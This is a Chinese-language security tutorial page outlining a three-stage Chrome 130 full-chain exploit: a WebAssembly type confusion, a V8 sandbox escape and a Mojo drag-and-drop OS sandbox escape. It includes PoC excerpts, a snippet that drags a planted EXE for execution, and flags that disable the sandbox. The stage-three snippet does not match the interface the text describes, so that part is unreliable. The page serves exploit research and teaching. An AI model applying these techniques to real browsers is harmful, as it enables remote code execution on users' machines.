Chrome Exploiting

Reading time: 8 minutes

本页面提供了针对 Google Chrome 130 的现代“全链”利用工作流程的高层次但实用的概述，基于研究系列**“101 Chrome Exploitation”**（第0部分 — 前言）。
目标是为渗透测试人员和漏洞开发者提供必要的最低背景，以便重现或调整这些技术以用于他们自己的研究。

1. Chrome 架构回顾

理解攻击面需要知道代码执行的位置以及适用的沙箱。

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

分层防御深度：

• V8 沙箱 (Isolate)：内存权限受到限制，以防止 JIT 编译的 JS / Wasm 进行任意读/写。
• 通过 Mojo/IPC 消息传递确保 渲染器 ↔ 浏览器 的分离；渲染器没有本地文件系统/网络访问。
• 操作系统沙箱 进一步限制每个进程（Windows 完整性级别 / seccomp-bpf / macOS 沙箱配置文件）。

因此，一个 远程 攻击者需要 三个 连续的原语：

1. 在 V8 内部的内存损坏，以获得 V8 堆内的任意读写。
2. 第二个漏洞允许攻击者 逃离 V8 沙箱到完整的渲染器内存。
3. 最终的沙箱逃逸（通常是逻辑而非内存损坏）以执行 在 Chrome OS 沙箱外的代码。

2. 阶段 1 – WebAssembly 类型混淆 (CVE-2025-0291)

TurboFan 的 Turboshaft 优化中的一个缺陷在于，当值在 单个基本块循环 内生成和消耗时，错误地分类 WasmGC 引用类型。

影响：

• 编译器 跳过类型检查，将 引用 (externref/anyref) 视为 int64。
• 精心构造的 Wasm 允许将 JS 对象头与攻击者控制的数据重叠 → addrOf() 和 fakeObj() AAW / AAR 原语。

最小 PoC（摘录）：

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

触发优化与从JS喷洒对象：

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

结果：在 V8 中进行任意读/写。

3. 第二阶段 – 逃离 V8 沙箱 (issue 379140430)

当一个 Wasm 函数被提升编译时，会生成一个 JS ↔ Wasm 包装器。一个签名不匹配的错误导致包装器在 Wasm 函数在栈上时重新优化时写入受信任的 Tuple2 对象的末尾。

覆盖 Tuple2 对象的 2 × 64 位字段可以实现 在 Renderer 进程内的任何地址上进行读/写，有效地绕过 V8 沙箱。

利用中的关键步骤：

1. 通过交替使用 turbofan/baseline 代码将函数置于 Tier-Up 状态。
2. 在保持栈上引用的同时触发提升编译（Function.prototype.apply）。
3. 使用第一阶段 AAR/AAW 查找并破坏相邻的 Tuple2。

包装器识别：

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

在破坏后，我们拥有一个功能齐全的 renderer R/W primitive。

4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

Mojo IPC 接口 blink.mojom.DragService.startDragging() 可以从 Renderer 调用，使用 部分信任 的参数。通过构造一个指向 任意文件路径 的 DragData 结构，renderer 说服浏览器在 renderer sandbox 之外执行 本地 拖放操作。

利用这一点，我们可以以编程方式“拖动”一个恶意的 EXE（之前放置在一个可写的世界位置）到桌面，Windows 会在文件被放置后自动执行某些文件类型。

示例（简化）：

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

不需要额外的内存损坏 – 逻辑缺陷使我们能够以用户的权限执行任意文件。

5. 完整链流程

1. 用户访问 恶意网页。
2. 阶段 1: Wasm 模块利用 CVE-2025-0291 → V8 堆 AAR/AAW。
3. 阶段 2: 包装器不匹配破坏 Tuple2 → 逃离 V8 沙箱。
4. 阶段 3: startDragging() IPC → 逃离操作系统沙箱并执行有效载荷。

结果: 远程代码执行 (RCE) 在主机上 (Chrome 130, Windows/Linux/macOS)。

6. 实验室与调试设置

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

启动 Chrome 的 development 构建时有用的标志：

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

收获

• WebAssembly JIT 漏洞 仍然是一个可靠的入口点 – 类型系统仍然年轻。
• 在 V8 中获得第二个内存损坏漏洞（例如，包装器不匹配）大大简化了 V8 沙箱逃逸。
• 特权 Mojo IPC 接口中的逻辑级弱点通常足以实现 最终沙箱逃逸 – 注意 非内存 漏洞。

参考

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium security architecture